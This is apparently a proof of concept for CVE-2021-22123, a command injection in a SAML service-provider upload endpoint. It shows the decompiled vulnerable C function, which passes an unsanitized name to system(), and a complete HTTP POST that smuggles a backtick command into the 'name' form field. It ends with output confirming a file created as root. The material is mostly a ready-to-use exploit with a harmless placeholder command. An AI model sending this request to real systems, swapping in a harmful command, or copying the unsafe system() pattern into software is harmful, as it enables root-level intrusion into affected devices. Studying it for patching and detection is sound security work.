CVE-2021-22123

int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412

HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123